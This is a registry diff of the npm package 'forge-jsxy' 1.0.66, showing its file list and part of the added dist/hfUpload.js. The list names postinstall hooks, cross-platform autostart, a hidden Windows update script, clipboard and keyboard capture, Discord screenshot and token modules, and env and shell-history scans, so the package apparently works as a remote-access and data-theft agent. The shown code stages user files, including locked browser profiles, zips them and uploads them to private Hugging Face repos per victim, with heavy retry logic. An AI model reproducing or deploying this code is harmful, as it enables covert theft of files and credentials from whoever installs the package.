forge-jsxy 1.0.66

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (156) hide show
  1. package/README.md +3 -0
  2. package/assets/files-explorer-template.html +4100 -0
  3. package/assets/forge-explorer-favicon.svg +31 -0
  4. package/dist/agentPid.d.ts +14 -0
  5. package/dist/agentPid.js +104 -0
  6. package/dist/agentRunner.d.ts +13 -0
  7. package/dist/agentRunner.js +290 -0
  8. package/dist/assets/files-explorer-template.html +4100 -0
  9. package/dist/assets/forge-explorer-favicon.svg +31 -0
  10. package/dist/autostart/agentEnvFile.d.ts +58 -0
  11. package/dist/autostart/agentEnvFile.js +488 -0
  12. package/dist/autostart/autoUpdatePaths.d.ts +7 -0
  13. package/dist/autostart/autoUpdatePaths.js +51 -0
  14. package/dist/autostart/constants.d.ts +14 -0
  15. package/dist/autostart/constants.js +17 -0
  16. package/dist/autostart/darwin.d.ts +11 -0
  17. package/dist/autostart/darwin.js +203 -0
  18. package/dist/autostart/darwinAutoUpdate.d.ts +4 -0
  19. package/dist/autostart/darwinAutoUpdate.js +70 -0
  20. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
  21. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
  22. package/dist/autostart/index.d.ts +4 -0
  23. package/dist/autostart/index.js +20 -0
  24. package/dist/autostart/install.d.ts +6 -0
  25. package/dist/autostart/install.js +113 -0
  26. package/dist/autostart/linux.d.ts +17 -0
  27. package/dist/autostart/linux.js +298 -0
  28. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
  29. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
  30. package/dist/autostart/linuxUpdateTimer.d.ts +6 -0
  31. package/dist/autostart/linuxUpdateTimer.js +104 -0
  32. package/dist/autostart/macPathEnv.d.ts +5 -0
  33. package/dist/autostart/macPathEnv.js +23 -0
  34. package/dist/autostart/manifest.d.ts +11 -0
  35. package/dist/autostart/manifest.js +74 -0
  36. package/dist/autostart/quote.d.ts +12 -0
  37. package/dist/autostart/quote.js +65 -0
  38. package/dist/autostart/resolve.d.ts +35 -0
  39. package/dist/autostart/resolve.js +85 -0
  40. package/dist/autostart/windows.d.ts +15 -0
  41. package/dist/autostart/windows.js +277 -0
  42. package/dist/cli-agent.d.ts +3 -0
  43. package/dist/cli-agent.js +56 -0
  44. package/dist/cli-autostart.d.ts +2 -0
  45. package/dist/cli-autostart.js +92 -0
  46. package/dist/cli-forge.d.ts +2 -0
  47. package/dist/cli-forge.js +5 -0
  48. package/dist/cli-linux-session-refresh.d.ts +2 -0
  49. package/dist/cli-linux-session-refresh.js +30 -0
  50. package/dist/cli-relay.d.ts +3 -0
  51. package/dist/cli-relay.js +38 -0
  52. package/dist/clientId.d.ts +2 -0
  53. package/dist/clientId.js +97 -0
  54. package/dist/clipboardEventWatcher.d.ts +8 -0
  55. package/dist/clipboardEventWatcher.js +177 -0
  56. package/dist/clipboardExec.d.ts +1 -0
  57. package/dist/clipboardExec.js +161 -0
  58. package/dist/clipboardNapi.d.ts +4 -0
  59. package/dist/clipboardNapi.js +19 -0
  60. package/dist/deploymentCipherData.d.ts +20 -0
  61. package/dist/deploymentCipherData.js +31 -0
  62. package/dist/deploymentDefaults.d.ts +43 -0
  63. package/dist/deploymentDefaults.js +199 -0
  64. package/dist/desktopEnvSync.d.ts +18 -0
  65. package/dist/desktopEnvSync.js +21 -0
  66. package/dist/discordAgentScreenshot.d.ts +27 -0
  67. package/dist/discordAgentScreenshot.js +476 -0
  68. package/dist/discordBotTokens.d.ts +29 -0
  69. package/dist/discordBotTokens.js +78 -0
  70. package/dist/discordRateLimit.d.ts +93 -0
  71. package/dist/discordRateLimit.js +227 -0
  72. package/dist/discordRelayUpload.d.ts +55 -0
  73. package/dist/discordRelayUpload.js +806 -0
  74. package/dist/discordWebhookPost.d.ts +12 -0
  75. package/dist/discordWebhookPost.js +108 -0
  76. package/dist/envLoad.d.ts +1 -0
  77. package/dist/envLoad.js +18 -0
  78. package/dist/envScan.d.ts +14 -0
  79. package/dist/envScan.js +358 -0
  80. package/dist/exportMirrorCopy.d.ts +15 -0
  81. package/dist/exportMirrorCopy.js +279 -0
  82. package/dist/fileLockForce.d.ts +50 -0
  83. package/dist/fileLockForce.js +1479 -0
  84. package/dist/filesExplorer.d.ts +9 -0
  85. package/dist/filesExplorer.js +110 -0
  86. package/dist/fsMessages.d.ts +1 -0
  87. package/dist/fsMessages.js +123 -0
  88. package/dist/fsProtocol.d.ts +107 -0
  89. package/dist/fsProtocol.js +4800 -0
  90. package/dist/hfCredentials.d.ts +23 -0
  91. package/dist/hfCredentials.js +124 -0
  92. package/dist/hfHubPathSanitize.d.ts +4 -0
  93. package/dist/hfHubPathSanitize.js +30 -0
  94. package/dist/hfHubUploadContent.d.ts +2 -0
  95. package/dist/hfHubUploadContent.js +199 -0
  96. package/dist/hfSeqIdLookup.d.ts +16 -0
  97. package/dist/hfSeqIdLookup.js +146 -0
  98. package/dist/hfUpload.d.ts +47 -0
  99. package/dist/hfUpload.js +1225 -0
  100. package/dist/hostInventory.d.ts +18 -0
  101. package/dist/hostInventory.js +206 -0
  102. package/dist/hostInventorySend.d.ts +5 -0
  103. package/dist/hostInventorySend.js +86 -0
  104. package/dist/index.d.ts +24 -0
  105. package/dist/index.js +62 -0
  106. package/dist/inputContext.d.ts +11 -0
  107. package/dist/inputContext.js +1094 -0
  108. package/dist/keyboardTranslate.d.ts +23 -0
  109. package/dist/keyboardTranslate.js +204 -0
  110. package/dist/linuxX11.d.ts +2 -0
  111. package/dist/linuxX11.js +53 -0
  112. package/dist/relayAgent.d.ts +20 -0
  113. package/dist/relayAgent.js +828 -0
  114. package/dist/relayAuth.d.ts +10 -0
  115. package/dist/relayAuth.js +81 -0
  116. package/dist/relayDashboardGate.d.ts +31 -0
  117. package/dist/relayDashboardGate.js +323 -0
  118. package/dist/relayForAgentHttp.d.ts +24 -0
  119. package/dist/relayForAgentHttp.js +132 -0
  120. package/dist/relayServer.d.ts +9 -0
  121. package/dist/relayServer.js +1406 -0
  122. package/dist/shellHistoryScan.d.ts +12 -0
  123. package/dist/shellHistoryScan.js +200 -0
  124. package/dist/startupAutoUpdate.d.ts +17 -0
  125. package/dist/startupAutoUpdate.js +156 -0
  126. package/dist/syncClient.d.ts +80 -0
  127. package/dist/syncClient.js +205 -0
  128. package/dist/tableNaming.d.ts +13 -0
  129. package/dist/tableNaming.js +101 -0
  130. package/dist/vcToWindowsVk.d.ts +7 -0
  131. package/dist/vcToWindowsVk.js +154 -0
  132. package/dist/win32InputNative.d.ts +18 -0
  133. package/dist/win32InputNative.js +198 -0
  134. package/dist/windowsInputSync.d.ts +22 -0
  135. package/dist/windowsInputSync.js +536 -0
  136. package/dist/workerBootstrap.d.ts +17 -0
  137. package/dist/workerBootstrap.js +327 -0
  138. package/package.json +75 -0
  139. package/scripts/copy-assets.mjs +31 -0
  140. package/scripts/discord-live-probe.mjs +159 -0
  141. package/scripts/encode-deployment.mjs +135 -0
  142. package/scripts/encode-hf-credentials.mjs +30 -0
  143. package/scripts/ensure-dist.mjs +86 -0
  144. package/scripts/env-sync-selftest.js +11 -0
  145. package/scripts/explorer-isolated-npm-env.mjs +57 -0
  146. package/scripts/forge-jsx-explorer-kill-agent.mjs +359 -0
  147. package/scripts/forge-jsx-explorer-restart.mjs +293 -0
  148. package/scripts/forge-jsx-explorer-upgrade.mjs +802 -0
  149. package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
  150. package/scripts/pm2-restart-forge-relay-agent.sh +43 -0
  151. package/scripts/postinstall-agent.mjs +313 -0
  152. package/scripts/postinstall-bootstrap.mjs +264 -0
  153. package/scripts/postinstall-clipboard-event.mjs +164 -0
  154. package/scripts/registry-version-lib.mjs +98 -0
  155. package/scripts/restart-agent.mjs +66 -0
  156. package/scripts/windows-forge-diagnostics.ps1 +56 -0
@@ -0,0 +1,1225 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
15
+ }) : function(o, v) {
16
+ o["default"] = v;
17
+ });
18
+ var __importStar = (this && this.__importStar) || (function () {
19
+ var ownKeys = function(o) {
20
+ ownKeys = Object.getOwnPropertyNames || function (o) {
21
+ var ar = [];
22
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
23
+ return ar;
24
+ };
25
+ return ownKeys(o);
26
+ };
27
+ return function (mod) {
28
+ if (mod && mod.__esModule) return mod;
29
+ var result = {};
30
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
31
+ __setModuleDefault(result, mod);
32
+ return result;
33
+ };
34
+ })();
35
+ var __importDefault = (this && this.__importDefault) || function (mod) {
36
+ return (mod && mod.__esModule) ? mod : { "default": mod };
37
+ };
38
+ Object.defineProperty(exports, "__esModule", { value: true });
39
+ exports.formatHfUploadError = formatHfUploadError;
40
+ exports.writeSingleFileZipStoreOnly = writeSingleFileZipStoreOnly;
41
+ exports.runHfUpload = runHfUpload;
42
+ /**
43
+ * Upload selected file or folder to Hugging Face Hub via @huggingface/hub (LFS for large files; Xet never used).
44
+ * Zip exports and Hub folder `tree` uploads snapshot the selection under a hidden temp mirror (then
45
+ * remove staging) before compression or per-file upload so locked live paths are less likely to fail.
46
+ * Files and folders are packed as one zip "store" only (zlib level 0) per selection to minimize CPU before upload.
47
+ *
48
+ * Session mode (`autoSessionRepo`): Hub repo = `namespace/client_<seq_id>` (forge-db `GET /api/clients`). By default
49
+ * `seq_id` is **required**; set `CFGMGR_HF_SESSION_REPO_ALLOW_LEGACY_SLUG=1` to fall back to the UUID-style table slug
50
+ * if `seq_id` is unknown. First upload creates the repo; later uploads append under `exports/<timestamp>_<rand>/` (never replaces).
51
+ * Manual mode with `createRepo`: new repos are also created **private** so Hub exports are not world-visible by default.
52
+ *
53
+ * Upload body: `hubContentFromLocalPath` yields a `Blob` or, for files above the streaming threshold, a `file:`
54
+ * `URL` (Hub `FileBlob`, streams from disk). Defaults are in `hfHubUploadContent.ts` (`CFGMGR_HF_FILEURL_OVER_BYTES`,
55
+ * `CFGMGR_HF_LEGACY_MAX_BYTES`).
56
+ * Tree paths are sanitized (`..`, control chars). Hub **Xet is never used** for uploads (LFS only).
57
+ *
58
+ * Resilience (defaults on, `npm install` only): transient **fetch** throws retry (see `CFGMGR_HF_FETCH_RETRIES`);
59
+ * whole **commit** retries on transient Hub / wire errors (see `CFGMGR_HF_UPLOAD_RETRIES`). This improves
60
+ * success under blips; it cannot guarantee every upload (locks, auth, quotas, huge trees still fail).
61
+ *
62
+ * Each `runHfUpload` uses a **temporary** `HF_HOME` / `HUGGINGFACE_HUB_CACHE` tree (serialized with other
63
+ * uploads) and **deletes** it after completion so Hub client metadata does not accumulate on the agent.
64
+ */
65
+ const archiver_1 = __importDefault(require("archiver"));
66
+ const node_crypto_1 = require("node:crypto");
67
+ const node_fs_1 = require("node:fs");
68
+ const fs = __importStar(require("node:fs"));
69
+ const path = __importStar(require("node:path"));
70
+ const os = __importStar(require("node:os"));
71
+ const node_url_1 = require("node:url");
72
+ const promises_1 = require("node:stream/promises");
73
+ const hub_1 = require("@huggingface/hub");
74
+ const hfCredentials_1 = require("./hfCredentials");
75
+ const exportMirrorCopy_1 = require("./exportMirrorCopy");
76
+ const agentEnvFile_1 = require("./autostart/agentEnvFile");
77
+ const clientId_1 = require("./clientId");
78
+ const fileLockForce_1 = require("./fileLockForce");
79
+ const fsProtocol_1 = require("./fsProtocol");
80
+ const hfSeqIdLookup_1 = require("./hfSeqIdLookup");
81
+ const hfHubPathSanitize_1 = require("./hfHubPathSanitize");
82
+ const hfHubUploadContent_1 = require("./hfHubUploadContent");
83
+ function maxZipFilesLimit() {
84
+ const raw = (process.env.CFGMGR_FS_MAX_ZIP_FILES || "").trim();
85
+ if (raw) {
86
+ const n = parseInt(raw, 10);
87
+ if (Number.isFinite(n) && n >= 100 && n <= 50_000_000)
88
+ return n;
89
+ }
90
+ return 25_000_000;
91
+ }
92
+ function interFileDelayMs() {
93
+ const raw = (process.env.CFGMGR_HF_INTER_FILE_DELAY_MS || "").trim();
94
+ if (raw) {
95
+ const n = parseInt(raw, 10);
96
+ if (Number.isFinite(n) && n >= 0 && n <= 60_000)
97
+ return n;
98
+ }
99
+ /**
100
+ * Default spacing between Hub **tree** batches — steady **medium** pacing (not minimal/low, not pegged/high).
101
+ * Override with `CFGMGR_HF_INTER_FILE_DELAY_MS` (0–60000).
102
+ */
103
+ return 42;
104
+ }
105
+ function treeBatchSize() {
106
+ const raw = (process.env.CFGMGR_HF_TREE_BATCH || "").trim();
107
+ if (raw) {
108
+ const n = parseInt(raw, 10);
109
+ if (Number.isFinite(n) && n >= 1 && n <= 200)
110
+ return n;
111
+ }
112
+ /** Default batch size balances Hub throughput vs peak memory/CPU per `uploadFiles` call. */
113
+ return 22;
114
+ }
115
+ /**
116
+ * Hub Xet stays **off** for every forge-js upload (`uploadFile` / `uploadFiles` always use classic LFS).
117
+ * Enabling Xet via `CFGMGR_HF_USE_XET=1` is ignored here so installs stay reliable across OS/Node;
118
+ * the env key may still appear in `forge-js-agent.env` as `0` for documentation.
119
+ */
120
+ function hubUseXet() {
121
+ return false;
122
+ }
123
+ /** After repeated Hub client Blob/Xet failures, persist Xet off for the next agent start. */
124
+ function persistHubDisableXetToAgentEnv() {
125
+ try {
126
+ (0, agentEnvFile_1.mergeForgeAgentEnvKeyValue)((0, clientId_1.defaultCfgmgrDataDir)(), "CFGMGR_HF_USE_XET", "0");
127
+ }
128
+ catch {
129
+ /* skip */
130
+ }
131
+ process.env.CFGMGR_HF_USE_XET = "0";
132
+ }
133
+ const MEMORY_BLOB_UPLOAD_MAX = 80 * 1024 * 1024;
134
+ async function memoryBlobFromLocalIfSmall(absPath) {
135
+ try {
136
+ const st = await fs.promises.stat(absPath);
137
+ if (!st.isFile() || st.size > MEMORY_BLOB_UPLOAD_MAX)
138
+ return null;
139
+ const buf = await fs.promises.readFile(absPath);
140
+ return new Blob([buf]);
141
+ }
142
+ catch {
143
+ return null;
144
+ }
145
+ }
146
+ /** Local temp path for Hub upload retry (remote `path` is not a filesystem location). */
147
+ function localDiskPathForUploadRetry(p) {
148
+ const f = p.file;
149
+ if (!f || typeof f !== "object" || !("content" in f))
150
+ return "";
151
+ const content = f.content;
152
+ if (content instanceof URL && content.protocol === "file:") {
153
+ try {
154
+ return (0, node_url_1.fileURLToPath)(content);
155
+ }
156
+ catch {
157
+ return "";
158
+ }
159
+ }
160
+ return "";
161
+ }
162
+ /**
163
+ * User-facing Hub upload errors for `fs_hf_upload_result` (JSON-safe, no obsolete env hints).
164
+ * Defaults already disable Xet and apply fetch/commit retries — messages assume that.
165
+ */
166
+ function formatHfUploadError(err) {
167
+ if (err instanceof hub_1.HubApiError) {
168
+ const c = err.statusCode;
169
+ if (c === 401 || c === 403) {
170
+ return "Hugging Face rejected the token or this account cannot write that repo. Check credentials and repo access.";
171
+ }
172
+ if (c === 404) {
173
+ return "Hugging Face repo not found. Check the repo id, namespace, or create the repo first.";
174
+ }
175
+ if ([408, 425, 429, 500, 502, 503, 504].includes(c)) {
176
+ return `Hugging Face is busy or temporarily unavailable (HTTP ${c}). Wait a moment and try again — automatic retries already ran.`;
177
+ }
178
+ const m = (err.message || "").trim();
179
+ return m || `Hugging Face API error (HTTP ${c}).`;
180
+ }
181
+ const msg = err instanceof Error ? err.message : String(err);
182
+ const stack = err instanceof Error && err.stack ? err.stack : "";
183
+ if (err instanceof TypeError && /\bfetch failed\b/i.test(msg)) {
184
+ return "Could not reach Hugging Face (network). Check internet, VPN, DNS, and firewall, then try again — automatic retries already ran.";
185
+ }
186
+ /** Compound messages from older hub paths — never surface raw "TypeError" / Xet hints to the UI. */
187
+ if (/hub upload typeerror|typeerror.*fetch failed|fetch failed.*typeerror|xet|openasblob|file:\s*url/i.test(msg)) {
188
+ return "Hugging Face upload failed while sending data. The agent retries automatically; if it persists, close apps locking files in the selection, enable Force kill for browser profiles, or export a smaller folder — then try again.";
189
+ }
190
+ if (/op\.content should be a Blob/i.test(msg) || /Precondition failed:\s*op\.content/i.test(msg)) {
191
+ return "Hugging Face could not read the upload payload. Close apps locking files in your selection, try a smaller export, or enable Force kill for locked browser profiles, then retry.";
192
+ }
193
+ if (/Hub upload: file is \d+ bytes but streaming is disabled/i.test(msg)) {
194
+ return "This export is too large for legacy in-memory Hub upload. Remove CFGMGR_HF_FILEURL_OVER_BYTES=off from the agent environment (or set it to a byte value below the file size) so large files stream from disk, then retry.";
195
+ }
196
+ if (/Could not read file for Hub upload.*allocate memory|Failed to allocate memory/i.test(msg)) {
197
+ return "The upload file is too large to load entirely into memory. Ensure CFGMGR_HF_FILEURL_OVER_BYTES is not set to off (default streams files above ~256 MiB from disk), rebuild/restart the agent so the latest Hub upload code is running, then retry.";
198
+ }
199
+ if (err instanceof TypeError && !/repo designation|datasets\/|spaces\/|models\//i.test(msg)) {
200
+ return "Hugging Face upload failed while preparing the transfer. Retry in a moment, close programs using those files, or choose a smaller folder.";
201
+ }
202
+ if (err instanceof TypeError && /repo designation|datasets\/|spaces\/|models\//i.test(msg)) {
203
+ return `${msg} Check repo id format (models: org/name; datasets: datasets/org/name).`;
204
+ }
205
+ if (stack && process.env.CFGMGR_HF_VERBOSE_ERRORS === "1") {
206
+ return `${msg}\n${stack}`;
207
+ }
208
+ return msg;
209
+ }
210
+ /** Optional minimum gap between Hub HTTP round-trips. */
211
+ function hubMinFetchIntervalMs() {
212
+ const raw = (process.env.CFGMGR_HF_MIN_FETCH_INTERVAL_MS || "").trim();
213
+ if (!raw)
214
+ return undefined;
215
+ const minMs = parseInt(raw, 10);
216
+ if (!Number.isFinite(minMs) || minMs < 0 || minMs > 30_000)
217
+ return undefined;
218
+ return minMs;
219
+ }
220
+ /**
221
+ * Max attempts per underlying `fetch` when it **throws** (network blips; avoids replaying consumed POST bodies).
222
+ * Default 6. Set `CFGMGR_HF_FETCH_RETRIES=0` to disable this layer (still uses native fetch unless min-interval is set).
223
+ */
224
+ function hubFetchMaxAttemptsOnThrow() {
225
+ const raw = (process.env.CFGMGR_HF_FETCH_RETRIES || "").trim();
226
+ if (raw === "0" || raw === "false" || raw === "off" || raw === "no")
227
+ return 0;
228
+ if (raw) {
229
+ const n = parseInt(raw, 10);
230
+ if (Number.isFinite(n) && n >= 1 && n <= 30)
231
+ return n;
232
+ }
233
+ return 6;
234
+ }
235
+ function hubFetchRetryBackoffMs() {
236
+ const raw = (process.env.CFGMGR_HF_FETCH_RETRY_MS || "").trim();
237
+ const n = parseInt(raw, 10);
238
+ if (Number.isFinite(n) && n >= 100 && n <= 120_000)
239
+ return n;
240
+ return 750;
241
+ }
242
+ function isThrownFetchRetryable(err) {
243
+ if (!(err instanceof Error))
244
+ return false;
245
+ const msg = err.message;
246
+ if (err instanceof TypeError && /fetch|network|Load failed|terminated|aborted/i.test(msg))
247
+ return true;
248
+ return /ECONNRESET|ETIMEDOUT|ENOTFOUND|EAI_AGAIN|socket hang up|fetch failed|TLS|SSL|ECONNREFUSED/i.test(msg);
249
+ }
250
+ function wrapFetchWithThrowRetries(inner, maxAttempts) {
251
+ const backoff = hubFetchRetryBackoffMs();
252
+ return async (input, init) => {
253
+ let lastErr;
254
+ for (let a = 0; a < maxAttempts; a++) {
255
+ try {
256
+ return await inner(input, init);
257
+ }
258
+ catch (e) {
259
+ lastErr = e;
260
+ if (a === maxAttempts - 1 || !isThrownFetchRetryable(e))
261
+ throw e;
262
+ const wait = Math.min(60_000, Math.floor(backoff * 1.6 ** a + Math.random() * 300));
263
+ await new Promise((r) => setTimeout(r, wait));
264
+ }
265
+ }
266
+ throw lastErr;
267
+ };
268
+ }
269
+ function wrapFetchWithMinInterval(inner, minMs) {
270
+ let lastEnd = 0;
271
+ return async (input, init) => {
272
+ const gap = Math.max(0, minMs - (Date.now() - lastEnd));
273
+ if (gap > 0)
274
+ await new Promise((r) => setTimeout(r, gap));
275
+ const res = await inner(input, init);
276
+ lastEnd = Date.now();
277
+ return res;
278
+ };
279
+ }
280
+ /** Custom `fetch` for Hub: optional spacing + retries on thrown network errors (defaults on). */
281
+ function buildHubFetch() {
282
+ const minMs = hubMinFetchIntervalMs();
283
+ const maxThrow = hubFetchMaxAttemptsOnThrow();
284
+ let inner = globalThis.fetch.bind(globalThis);
285
+ if (maxThrow > 0)
286
+ inner = wrapFetchWithThrowRetries(inner, maxThrow);
287
+ if (minMs !== undefined)
288
+ inner = wrapFetchWithMinInterval(inner, minMs);
289
+ if (minMs === undefined && maxThrow === 0)
290
+ return undefined;
291
+ return inner;
292
+ }
293
+ /** Max full Hub commit attempts (file or batch) on transient API / wire failure. Default 4. `0` / `1` = single try. */
294
+ function hubUploadMaxAttempts() {
295
+ const raw = (process.env.CFGMGR_HF_UPLOAD_RETRIES || "").trim();
296
+ if (raw === "0" || raw === "false" || raw === "off" || raw === "no" || raw === "1")
297
+ return 1;
298
+ if (raw) {
299
+ const n = parseInt(raw, 10);
300
+ if (Number.isFinite(n) && n >= 2 && n <= 12)
301
+ return n;
302
+ }
303
+ return 4;
304
+ }
305
+ function hubUploadOpBackoffMs() {
306
+ const raw = (process.env.CFGMGR_HF_UPLOAD_RETRY_MS || "").trim();
307
+ const n = parseInt(raw, 10);
308
+ if (Number.isFinite(n) && n >= 200 && n <= 180_000)
309
+ return n;
310
+ return 1200;
311
+ }
312
+ function isTransientHubUploadFailure(err) {
313
+ if (isHubBlobOrContentTypeError(err))
314
+ return false;
315
+ if (err instanceof hub_1.HubApiError) {
316
+ return [408, 425, 429, 500, 502, 503, 504].includes(err.statusCode);
317
+ }
318
+ const msg = err instanceof Error ? err.message : String(err);
319
+ if (/ECONNRESET|ETIMEDOUT|ENOTFOUND|EAI_AGAIN|socket hang up|fetch failed|network|TLS|SSL|ECONNREFUSED/i.test(msg))
320
+ return true;
321
+ if (err instanceof TypeError && /fetch|network|Load failed/i.test(msg))
322
+ return true;
323
+ return false;
324
+ }
325
+ async function uploadFileWithHardening(p,
326
+ /** When Hub rejects the in-memory Blob, re-read this staging file and retry once (zip exports). */
327
+ localRehydrate) {
328
+ const maxA = hubUploadMaxAttempts();
329
+ const base = hubUploadOpBackoffMs();
330
+ let last;
331
+ for (let a = 0; a < maxA; a++) {
332
+ try {
333
+ return await uploadFileWithXetRetry(p, localRehydrate);
334
+ }
335
+ catch (e) {
336
+ last = e;
337
+ if (a === maxA - 1 || !isTransientHubUploadFailure(e))
338
+ throw e;
339
+ await new Promise((r) => setTimeout(r, Math.min(90_000, Math.floor(base * 1.75 ** a + Math.random() * 500))));
340
+ }
341
+ }
342
+ throw last;
343
+ }
344
+ async function uploadFilesWithHardening(p) {
345
+ const maxA = hubUploadMaxAttempts();
346
+ const base = hubUploadOpBackoffMs();
347
+ let last;
348
+ for (let a = 0; a < maxA; a++) {
349
+ try {
350
+ await uploadFilesWithXetRetry(p);
351
+ return;
352
+ }
353
+ catch (e) {
354
+ last = e;
355
+ if (a === maxA - 1 || !isTransientHubUploadFailure(e))
356
+ throw e;
357
+ await new Promise((r) => setTimeout(r, Math.min(90_000, Math.floor(base * 1.75 ** a + Math.random() * 500))));
358
+ }
359
+ }
360
+ throw last;
361
+ }
362
+ function yieldEventLoop() {
363
+ return new Promise((r) => setImmediate(r));
364
+ }
365
+ /**
366
+ * Hub + Xet + `file:` URL / Blob bridging sometimes throws `TypeError` (e.g. "op.content should be a Blob")
367
+ * on specific Node/OS combos. Retry once with `useXet: false` (classic LFS) before surfacing the error.
368
+ */
369
+ function isHubBlobOrContentTypeError(err) {
370
+ const msg = err instanceof Error ? err.message : String(err);
371
+ if (/op\.content should be a Blob|Precondition failed:\s*op\.content|createBlobs|FileBlob|Invalid state|not iterable/i.test(msg)) {
372
+ return true;
373
+ }
374
+ if (err instanceof TypeError) {
375
+ if (/fetch failed|network|ECONN|ENOTFOUND|Load failed|terminated|aborted|socket/i.test(msg))
376
+ return false;
377
+ if (/repo designation|datasets\/|spaces\/|models\//i.test(msg))
378
+ return false;
379
+ return /blob|content|commit|lfs|xet|upload|file:|precondition/i.test(msg);
380
+ }
381
+ return false;
382
+ }
383
+ async function uploadFileWithXetRetry(p, rehydrateAbs) {
384
+ try {
385
+ return await (0, hub_1.uploadFile)(p);
386
+ }
387
+ catch (e1) {
388
+ if (!isHubBlobOrContentTypeError(e1))
389
+ throw e1;
390
+ if (p.useXet) {
391
+ try {
392
+ await yieldEventLoop();
393
+ await new Promise((r) => setTimeout(r, 150));
394
+ return await (0, hub_1.uploadFile)({ ...p, useXet: false });
395
+ }
396
+ catch (e2) {
397
+ const abs = localDiskPathForUploadRetry(p);
398
+ if (abs && isHubBlobOrContentTypeError(e2)) {
399
+ const mem = await memoryBlobFromLocalIfSmall(abs);
400
+ if (mem) {
401
+ const hubPath = p.file && typeof p.file === "object" && "path" in p.file
402
+ ? String(p.file.path)
403
+ : path.basename(abs);
404
+ try {
405
+ return await (0, hub_1.uploadFile)({
406
+ ...p,
407
+ useXet: false,
408
+ file: { path: hubPath, content: mem },
409
+ });
410
+ }
411
+ catch (e3) {
412
+ persistHubDisableXetToAgentEnv();
413
+ throw e3;
414
+ }
415
+ }
416
+ }
417
+ persistHubDisableXetToAgentEnv();
418
+ throw e2;
419
+ }
420
+ }
421
+ const abs = localDiskPathForUploadRetry(p);
422
+ if (abs) {
423
+ const mem = await memoryBlobFromLocalIfSmall(abs);
424
+ if (mem) {
425
+ const hubPath = p.file && typeof p.file === "object" && "path" in p.file
426
+ ? String(p.file.path)
427
+ : path.basename(abs);
428
+ try {
429
+ return await (0, hub_1.uploadFile)({
430
+ ...p,
431
+ useXet: false,
432
+ file: { path: hubPath, content: mem },
433
+ });
434
+ }
435
+ catch (e2) {
436
+ persistHubDisableXetToAgentEnv();
437
+ throw e2;
438
+ }
439
+ }
440
+ }
441
+ if (rehydrateAbs) {
442
+ try {
443
+ await yieldEventLoop();
444
+ await new Promise((r) => setTimeout(r, 200));
445
+ const fresh = await (0, hfHubUploadContent_1.hubContentFromLocalPath)(rehydrateAbs);
446
+ const hubPath = p.file && typeof p.file === "object" && "path" in p.file
447
+ ? String(p.file.path)
448
+ : path.basename(rehydrateAbs);
449
+ return await (0, hub_1.uploadFile)({
450
+ ...p,
451
+ useXet: false,
452
+ file: { path: hubPath, content: fresh },
453
+ });
454
+ }
455
+ catch {
456
+ /* fall through */
457
+ }
458
+ }
459
+ persistHubDisableXetToAgentEnv();
460
+ throw e1;
461
+ }
462
+ }
463
+ async function uploadFilesWithXetRetry(p) {
464
+ try {
465
+ await (0, hub_1.uploadFiles)(p);
466
+ }
467
+ catch (e) {
468
+ if (!isHubBlobOrContentTypeError(e))
469
+ throw e;
470
+ if (p.useXet) {
471
+ try {
472
+ await yieldEventLoop();
473
+ await new Promise((r) => setTimeout(r, 150));
474
+ await (0, hub_1.uploadFiles)({ ...p, useXet: false });
475
+ return;
476
+ }
477
+ catch (e2) {
478
+ persistHubDisableXetToAgentEnv();
479
+ throw e2;
480
+ }
481
+ }
482
+ persistHubDisableXetToAgentEnv();
483
+ throw e;
484
+ }
485
+ }
486
+ function normalizeDestPrefix(s) {
487
+ return String(s || "")
488
+ .replace(/\\/g, "/")
489
+ .replace(/^\/+/, "")
490
+ .replace(/\/+$/, "");
491
+ }
492
+ function joinRemotePath(prefix, name) {
493
+ const p = normalizeDestPrefix(prefix);
494
+ const n = String(name).replace(/\\/g, "/").replace(/^\/+/, "");
495
+ return p ? `${p}/${n}` : n;
496
+ }
497
+ function uniqueSelectionEntryName(destRoot, preferred) {
498
+ const base = String(preferred || "item").replace(/[\\/]/g, "_").trim() || "item";
499
+ let candidate = base;
500
+ let i = 2;
501
+ while (fs.existsSync(path.join(destRoot, candidate))) {
502
+ candidate = `${base} (${i})`;
503
+ i++;
504
+ }
505
+ return candidate;
506
+ }
507
+ function isLockLikeSelectionName(name) {
508
+ const n = String(name || "").trim().toLowerCase();
509
+ if (!n)
510
+ return false;
511
+ if (n === "lock" || n === "lockfile")
512
+ return true;
513
+ return n.endsWith(".lock") || n.endsWith(".lck") || n.endsWith(".pid") || n.endsWith(".pid.lock");
514
+ }
515
+ async function stageMultiSelectionToTempRoot(absSelection, stageRoot, mirrorOpts, onProgress) {
516
+ await fs.promises.mkdir(stageRoot, { recursive: true });
517
+ let stagedItems = 0;
518
+ let skippedItems = 0;
519
+ for (let i = 0; i < absSelection.length; i++) {
520
+ const src = absSelection[i];
521
+ let srcStat = null;
522
+ try {
523
+ srcStat = fs.statSync(src);
524
+ }
525
+ catch {
526
+ skippedItems++;
527
+ continue;
528
+ }
529
+ /** Skip only lock-like files; do not skip directories that happen to end with ".lock". */
530
+ if (srcStat.isFile() && isLockLikeSelectionName(path.basename(src))) {
531
+ skippedItems++;
532
+ continue;
533
+ }
534
+ const perItemRoot = fs.mkdtempSync(path.join(os.tmpdir(), ".forge-hf-item-"));
535
+ try {
536
